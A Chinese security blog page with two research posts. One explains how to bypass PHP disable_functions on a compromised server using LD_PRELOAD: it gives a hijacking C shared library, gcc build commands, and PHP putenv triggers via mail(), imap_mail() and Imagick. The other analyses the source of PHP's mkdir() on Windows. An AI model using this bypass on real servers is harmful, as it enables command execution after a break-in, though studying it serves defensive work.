Research on 诗与胡说

利用LD_PRELOAD绕过disbale_functions

Tue, 02 Apr 2019 10:21:42 +0000

0x01 背景

有时候拿到shell后发现无法执行系统命令，通过phpinfo查看发现设置了disbale_functions，禁止了大部分可以执行命令的方法，这时候就要考虑绕过这个限制。本文是介绍了利用LD_PRELOAD环境变量加载恶意共享库的方式绕过，当然方式不止文中列出的几种，有何遗漏或不足欢迎提建议。

0x02 LD_PRELOAD 环境变量

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

根据文档介绍，如果使用LD_PRELOAD环境变量指定了一个共享库或共享对象，那么这个共享对象会在其他对象加载前被加载，例如

$ LD_PRELOAD=/path/to/my/malloc.so /bin/ls

即在执行ls命令前，会先加载指定路径的malloc.so文件，如果这是一个恶意共享对象，那么可以执行任意操作。

我们可以通过readelf命令查看某个命令调用了哪些外部链接库，然后找到其中某个库，编写同名函数进行劫持，然后编译成共享对象文件，接着使用LD_PRELOAD环境变量指定生成的对象，达到命令执行的目的。

一般情况我们选择简单的或者不带参数的命令，例如id，ls，whoami等，另外为了实现原型一致的劫持函数，也尽量选择常用的或者不用传递参数的函数，例如getuid()，getpid()，getgid()等

以python为例，通过命令readelf -s /usr/bin/python列出python程序调用的系统函数，可以筛选出get型的函数

尝试劫持getpid()函数

首先通过man命令查看getpid()函数的实现

然后重写getpid()函数

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void){
    system("echo 'pwned by getpid!'");
    return 0;
}

注意：因为通过设置preload劫持了比较底层的函数，而派发出的新进程如果用到该函数也会一并被劫持，也就是说如果没有及时unsetenv("LD_PRELOAD")则会导致不断循环，一旦操作敏感就会比较危险，所以一定要及时删除这个环境变量，改进版如下：

#include <sys/types.h>
#include <unistd.h>

void payload(void){
    system("echo 'pwned by getpid!'");
}

pid_t getpid(void){
    if (getenv("LD_PRELOAD") == NULL){
        return 0;
    }

    unsetenv("LD_PRELOAD");
    payload();

    return 0;
}

接着编译共享对象，-shared表示生成共享库，-fPIC表示使用地址无关代码

gcc -shared -fPIC getpid.c -o getpid.so

LD_PRELOAD设置加载so文件，运行python，可以看到函数被成功劫持

这个方法有一定限制，首先需要找到一个相对简单的函数原型，然后需要确保该函数被目标程序调用，因此一个更好的方法是利用扩展修饰符修饰函数，优先加载恶意函数，增强通用性，这里就用到了扩展修饰符 __attribute__((constructor))

GCC 有个 C 语言扩展修饰符 __attribute__((constructor))，可以让由它修饰的函数在 main() 之前执行，若它出现在共享对象中时，那么一旦共享对象被系统加载，立即将执行 __attribute__((constructor)) 修饰的函数

简单说就是__attribute__可以修饰几个属性，包括函数属性、变量属性和类型属性，语法格式为：

__attribute__(( attribute-list ))

当函数属性被设置为constructor时，该函数会在可执行文件（或共享对象）加载时被调用，同理当设置属性为destructor时会在对象unload时调用，也就是说设置为这两个属性时，会在main()函数执行之前或者return()执行之后被调用，我们就可以借助这个扩展修饰符，当加载so文件时自动执行恶意函数，这样就不局限于某个特定函数，使用面大大扩展了

重新写一个函数，使用 __attribute__((constructor))修饰

#include <unistd.h>

void payload(void){
    system("echo 'pwned!'");
}

__attribute__ ((__constructor__)) void exec(void){
    if (getenv("LD_PRELOAD") == NULL){
        return;
    }

    unsetenv("LD_PRELOAD");
    payload();

    return;
}

重新编译并加载，成功执行

0x03 绕过`disable_functions`

接下来看一下怎么利用LD_PRELOAD在php启用disable_functions禁用了命令/代码执行函数的情况下绕过这个限制，达到命令执行的效果

php.ini限制大部分执行命令的函数

disable_functions = assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open

根据上面的介绍，我们突破disable_functions的步骤如下

编写恶意C函数，并编译成共享对象；
在php执行过程中找到一个函数，这个函数能够产生一个新的进程；
通过putenv设置LD_PRELOAD环境变量，使得新产生的进程优先加载恶意共享对象；

第1步在上文已经解决了，第3步也比较容易实现，关键就是第2步，找到一个php中可以新起一个进程的函数，目的是为了让这个新进程使用的环境变量加载我们设置的恶意共享对象，达到劫持的目的

在php中有这么几个函数可以被利用，mail()，imap_mail()，以及Imagick，来逐一测试

mail()

mail()函数会启动sendmail进程发送邮件，这个过程是可以被劫持的

<?php
    mail("admin@localhost","","","","");
?>

通过strace查看mail()函数调用的过程

可以看到除了php自身进程外还启动了sendmail进程，而sendmail在执行过程中调用了多个可以被劫持的函数，例如getuid，getgid， getpid等，我们还是以上面的getpid为例测试

通过putenv将LD_PRELOAD环境变量设置为上面编译好的getpid.so

<?php
    putenv("LD_PRELOAD=/tmp/getpid.so");
    mail("admin@localhost","","","","");
?>

成功绕过disable_functions限制。另外也可以用__attribute__ ((__constructor__))修饰函数，这样就不局限于某个系统函数。

imap_mail()

imap_mail()函数与mail()函数类似，都会调用sendmail程序发送邮件，因此也能通过LD_PRELOAD环境变量绕过，方法同上

Imagick

Imagick作为使用广泛的图形处理库，它在处理各种类型的文件时会调用不同的处理程序，这个过程也是可以进行劫持的，常见的文件类型与处理程序对应关系列举如下

文件类型	调用程序
EPI/EPS/PDF/PS	Ghostscript
MNG/M2V	ffmpeg
JXR	jxrlib

详细的依赖调用关系可以参考官方网站

以eps文件为例，使用Imagick加载

<?php
    $a = new Imagick("/tmp/payload.eps");
?>

如果出现报错

Uncaught ImagickException: not authorized 'payload.eps'

需要修改imagick的policy.xml文件，把相应文件类型的权限修改为read|write

通过strace可以看到启动了gs程序处理

因此我们同样可以通过修改LD_PRELOAD达到执行代码的目的，而实际上这个过程并不要求payload.eps是个合法的eps文件

类似的，pdf、ps、wmv文件等，都可以通过这个方法利用。

0x04 总结

本文主要介绍了如何利用LD_PRELOAD突破disbale_functions，当然这个方法也有一个限制，那就是putenv没有被禁用，得以设置环境变量，因此在不影响系统运行的前提下也需要把putenv加上。

参考：

https://www.one-tab.com/page/sF_C-HRZTTGu-K_bDaSLoQ

对PHP中的mkdir()函数的研究

Wed, 20 Mar 2019 15:27:20 +0000

0x01 缘起

在前阵子分析WORDPRESS IMAGE 远程代码执行漏洞的过程中，在文末提到一点关于php中的mkdir()函数，在触发漏洞时这个地方存在一点疑惑，即当mkdir()第三个参数分别为false和true时，分别是能成功创建文件夹和创建失败，后来有同学发现和他的测试结果有偏差，两种情况都无法创建，在互相确认了php版本后，对mkdir()函数进行了深入的研究，发现里面大有文章。

当时的测试结果是这样的，环境是Windows+php-7.0.12-nts，在recursive=false时成功穿越目录并创建了文件夹

本文重新编译了php方便调试，版本是php-7.2.16-ts和php-7.2.16-nts，测试结果如下

可以看到只有在非线程安全下并且recursive=false时才成功创建，总结如下表所示

Windows	thread-safe	non-thread safe
recursive=false	fail (No error)	success
recursive=true	fail (Invalid path)	fail (Invalid path)

接下来从源码角度看看php如何实现mkdir()函数，探究一下为何会出现差异

0x02 调试

用Visual Studio 2017打开项目，定位到php-7.2.16-src/main/streams/plain_wrapper.cline 1234，方法php_plain_files_mkdir()即mkdir()的实现，在此处下个断点，然后运行脚本，接着选择调试-附加到进程，选择编译好的php.exe进程，成功命中断点。

0x03 源码分析

1. recursive=true

thread-safe

首先分析在recursive=true的情况，跟随断点来看一下php_plain_files_mkdir()这个方法

看到对recursive进行了判断，进了不同的分支，分别执行php_mkdir()和expand_filepath_with_mode()。recursive=true时进入expand_filepath_with_mode()

这个expand_filepath_with_mode()方法会判断当前路径是相对路径还是绝对路径，然后把路径传入virtual_file_ex()，如果是相对路径的话会在该方法中拼接成完整的路径，随后进行一个重要的判断

如果是Windows系统且路径中包含了*或?，则直接返回错误，这也就是为什么在复现wordpress漏洞时构造的PoC中含有?无法创建目录的原因(wordpress指定了recursive=true)，当时使用#绕过了这个限制

回到上面，virtual_file_ex()没有通过验证，最终抛出的异常是"Invalid path"

if (!expand_filepath_with_mode(dir, buf, NULL, 0, CWD_EXPAND )) {
    php_error_docref(NULL, E_WARNING, "Invalid path");
    return 0;
}

non-thread safe

在非线程安全模式下，流程是完全一样的，最终也会因为无法通过*或?的检查，抛出"Invalid path"

2. recursive=false

接下来看一下recursive=false的情况，在这个情况下，线程安全与非线程安全产生了不一样的结果。

recursive=false时进入php_mkdir()方法，随后进入php_mkdir_ex()

在进行basedir检查后进入VCWD_MKDIR，这是一个宏命令，在源码中有三处定义，在php-7.2.16-src/Zend/zend_virtual_cwd.h中，分别是

mkdir(pathname, mode)
php_win32_ioutil_mkdir(pathname, mode)
virtual_mkdir(pathname, mode)

注意这三个定义是根据不同的条件执行的，看一下逻辑

#ifdef VIRTUAL_DIR
#define VCWD_MKDIR(pathname, mode) virtual_mkdir(pathname, mode)
#endif

#if defined(ZEND_WIN32)
#define VCWD_MKDIR(pathname, mode) php_win32_ioutil_mkdir(pathname, mode)
#else
#define VCWD_MKDIR(pathname, mode) mkdir(pathname, mode)

也就是说，如果定义了VIRTUAL_DIR，那么执行的是virtual_mkdir()，否则如果是Windows系统，就执行php_win32_ioutil_mkdir()创建目录，linux下则是mkdir命令

那么，既然在recursive=false的情况下，线程安全与非线程安全出现了不一样的结果，肯定是此处走的分支不一样，一个使用了virtual_mkdir()，另一个使用了php_win32_ioutil_mkdir()，分别进入两个方法

在virtual_mkdir()中，同上面的情况一样，进行了virtual_file_ex()判断，因此也会走到对*和?的判断，同样因为通不过检查而抛出"Invalid path"，而在php_win32_ioutil_mkdir()中则是调用了CreateDirectoryW创建目录

CreateDirectoryW是Windows下创建目录的API，走到这个分支并不检查*和?，因此能够成功创建目录。

有关CreateDirectoryW参考Microsoft Doc

与CreateDirectoryW对应的还有CreateDirectoryA，两个函数功能一样，只是第一个参数的类型不同，一个是LPCWSTR 另一个是LPCSTR ，这两者是CHAR 和WCHAR的区别，详细可以参考StackOverflow

现在剩下最关键的一个问题，什么情况下会走virtual_mkdir()的流程，也就是说VIRTUAL_DIR是在何处定义的？

在php-7.2.16-src/Zend?zend_virtual_cwd.hline 41定义了这个变量，前置条件是ZTS，也就是线程安全的标识，只有在线程安全模式下，才使用virtual_mkdir()创建目录，调用的系统函数同样是CreateDirectoryW，但是在此之前得先通过virtual_file_ex()校验，含有*和?则无法创建成功。

0x04 流程图

0x05 深入

现在清楚了php对mkdir()的实现，之所以结果不一样是因为ZTS与NTS下的两种不同的处理流程，那么为什么在ZTS模式下，在调用Windows的API创建目录之前，需要设置一个“虚拟目录”呢？

这里涉及到php内核中的TSRM机制，也就是线程安全资源管理器(Thread Safe Resource Manager) ，这个机制的引入是为了解决线程并发的问题，我们知道，如果线程访问的内存地址空间相同，当一个线程修改资源时会影响其它线程，所以为了确保不会出现资源竞争，php将多个资源复制为多份，每个线程需要的资源在当前进程空间中各有一份，各取所取，这样就不会出现竞争问题。

那么不同线程怎么获取自身所需要的资源呢？php中通过ts_allocate_id()函数实现，这个函数的作用就是遍历所有线程，为每一个分配一个线程安全资源id，每一次调用ts_allocate_id()函数时，都会执行这个操作，而为了避免重复分配，这个过程是在调用模块初始化的时候就完成了

TSRMG的定义如下，其中tsrm_get_ls_cache()有多个定义，但功能是一样的，就是根据资源id的tls_key取出相应value的过程：

#define TSRMG(id, type, element)	(TSRMG_BULK(id, type)->element)
#define TSRMG_BULK(id, type)	((type) (*((void ***) tsrm_get_ls_cache()))[TSRM_UNSHUFFLE_RSRC_ID(id)])

# define tsrm_tls_get()			pthread_getspecific(tls_key)

在启动cli或者cgi时，都会通过SAPI调用tsrm_startup()启动TSRM ，随后进行模块初始化，在这个过程中分配资源id，初始化时的调用栈如下图所示

当非ZTS模式时，线程直接调用全局变量的属性，而ZTS模式设置“虚拟目录”的概念其实就是“根据资源id查找所需的全局变量”的过程，本质上是为了避免线程间资源读取出现竞争，保证了线程安全。

0x06 总结

本文通过php中mkdir()函数在不同环境下表现结果不一致的现象，分析了php内核对mkdir()函数的实现，引申出php中线程安全与非线程安全两个重要的机制，抛砖引玉，如有表述不妥或者错误之处欢迎指正，最后感谢@maple提出最初的问题以及探讨过程中给予的莫大的帮助。

参考：

http://php.net/manual/en/function.mkdir.php

http://blog.codinglabs.org/articles/zend-thread-safety.html

https://segmentfault.com/a/1190000010004035